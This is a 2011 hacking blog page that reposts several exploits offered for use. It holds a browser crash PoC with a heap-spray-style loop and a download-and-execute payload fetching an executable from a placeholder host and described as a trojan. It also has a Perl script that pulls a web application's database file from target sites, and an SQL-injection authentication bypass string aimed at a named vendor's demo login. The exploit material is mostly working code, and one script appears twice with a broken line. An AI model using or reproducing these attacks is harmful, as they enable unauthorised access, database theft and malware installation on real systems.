Hacking & Research

Friday, May 27, 2011

Google Chrome (res://mshtml.dll) Remote Exploit

####
# Exploit Title: Google Chrome (res://mshtml.dll) Remote Exploit
# Author: Tringle2011
# Category:: Remote Exploits
# Tested on: [Windows Vista ]
####



###

[*] Crash :


<html><head>
<script src="res://mshtml.dll/objectembed.js"></script> 
<script language="javascript">
function boom()
 {
 var longunistring1 = unescape("%u4141%u4141");
 var longunistring2 = unescape("%u4242%u4242");
 var longunistring3 = unescape("%u4343%u4343");
 var longunistring4 = unescape("%u4444%u4444");
 for(i=0; i <= 999 ; ++i) 
 {
  longunistring1+=longunistring1;
  longunistring2+=longunistring2;
  longunistring3+=longunistring3;
  longunistring4+=longunistring4;
  document.write(longunistring1);
  document.write(longunistring2);
  document.write(longunistring3);
  document.write(longunistring4);
 }     
 document.write(longunistring1);
 document.write(longunistring2);
 document.write(longunistring3);
 document.write(longunistring4);
 document.write(document.body.innerHTML);
}
var objectSource = boom();
</script>
</head>
<body onload="ObjectLoad();" leftmargin="0" topmargin="0" scroll="no">
<form id="objectDestination"></form></body>
</html>

Firefox & Safari & IE) + QuickTime res://mshtml.dll/ Remote Exploits

Firefox & Safari & IE) + QuickTime res://mshtml.dll/ Remote Exploits
<!--
###
# Title : (Firefox & Safari & IE) + QuickTime res://mshtml.dll/ Remote Exploits
# Author : Tringle2011
# E-mail : andrew.nile@gmail.com
# platform : Windows
# Impact : Remote { Buffer Overflow + Download/Exec File (Tr0j4n3) }
# Tested on : Windows XP SP3 (Firefox 4.0 + Safari 4.0.5 & IE7) << QuickTime v7.5.
-->

#=======[ PoC (1) Buffer Overflow & Crash !]============>

<html><head>
<script src="res://mshtml.dll/objectembed.js"></script> 
<script language="javascript">
function boom()
 {
 var longunistring1 = unescape("%u4141%u4141");
 var longunistring2 = unescape("%u4242%u4242");
 var longunistring3 = unescape("%u4343%u4343");
 var longunistring4 = unescape("%u4444%u4444");
 for(i=0; i <= 999 ; ++i) 
 {
  longunistring1+=longunistring1;
  longunistring2+=longunistring2;
  longunistring3+=longunistring3;
  longunistring4+=longunistring4;
  document.write(longunistring1);
  document.write(longunistring2);
  document.write(longunistring3);
  document.write(longunistring4);
 }     
 document.write(longunistring1);
 document.write(longunistring2);
 document.write(longunistring3);
 document.write(longunistring4);
 document.write(document.body.innerHTML);
}
var objectSource = boom();
</script>
</head>
<body onload="ObjectLoad();" leftmargin="0" topmargin="0" scroll="no">
<form id="objectDestination"></form></body>
</html>

#=======[ PoC (2) Download/Exec File]============>

<html><head>
<script src="res://mshtml.dll/objectembed.js"></script> 
<script language="javascript">
var objectSource = "http://[HOST]/{file}.exe.gif";
</script>
</head>
<body onload="ObjectLoad();" leftmargin="0" topmargin="0" scroll="no">
<form id="objectDestination"></form></body>
</html>

# Save Any HTML Code and Use him (Boom !! :D)

Tuesday, May 17, 2011

Video Script ASP Database Disclosure Exploit

HII!!! GUYES NOW A DAYS IT IS VERY HARD TO RELEASE THOSE SECRETS !! WITH OUT ANY MONEY SUPPORT IT IS VERY HARD TO CARRY ON ON SPECIAL PROJECTS !! PLASE HELP ME OUT BY SENDING MONEY AS YOU WISH !! AND PLEACOMMENTS ON THE POSTS !! AND FEEL PROUD TO BE A HACKER !! LOVE YOUR MOTHER LAND AND LEARN AS MUCH POSSIBLE !! HAVE A RED SALUTE !!!!! TAKE CARE GUYES !!!!!




Video Script ASP Database Disclosure Exploit
#!/usr/bin/perl -w
#
# Video Script ASP Database Disclosure Exploit 
#
# Found & Coded: Tringle2011 & indoushka 
# 
# Date: 25/04/2011
#
#
# Download : http://www.scriptmafia.org/
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('Video Script ASP Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}

($TargetIP, $path, $File,) = @ARGV;

$File="destination/dinimbenim.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/dinimbenim.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/dinimbenim.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}



Video Script ASP Database Disclosure Exploit
#!/usr/bin/perl -w
#
# Video Script ASP Database Disclosure Exploit 
#
# Found & Coded: Tringle2011 & induska & Cyber Sec 
# Date: 25/04/2011
#
# Download : http://www.scriptmafia.org/
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('Video Script ASP Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}

";
($TargetIP, $path, $File,) = @ARGV;

$File="destination/dinimbenim.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/dinimbenim.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/dinimbenim.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

Onlinetechtools OWOS: Professional Edition Authentication Bypass

HELP US! IF U WANT! SEND US DONATION ON : NAME : INDRANIL BANERJEE ,VILL+P.O- BIKI HAKOLA, DIST-HOWRAH, STATE- WEST BENGAL, INDIA & PIN CODE(ZIP CODE): 711322 OR SEND VIA WESTERNUNION BY PHONING ME ON : +919903865380. PLZ!!!





Onlinetechtools OWOS: Professional Edition Authentication Bypass
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Onlinetechtools OWOS: Professional Edition? Authentication Bypass Vulnerability
Version:2.10
Price:900$
Vendor url:http://www.onlinetechtools.com
Published: 2011-5-02

.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Description:

Work smarter with OWOS: Professional Edition, the web-based help desk solution.
OWOS Pro helps you simplify support requests, e-mail communication, organize planning and scheduling,
and provide powerful access to the information you need. Code: ASP 3.0 & VBScript
?
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
Vulnerability:

*Authentication ByPass Vulnerability*

Pattern: ' or 1=1 or ''=''

DEMO URL :

http://www.onlinetechtools.com/demo/owospro210/login.asp?go=/demo/owospro210/default.asp&id=

.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
# 0day n0 m0re #
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.
.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..~.~.~.~.~~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.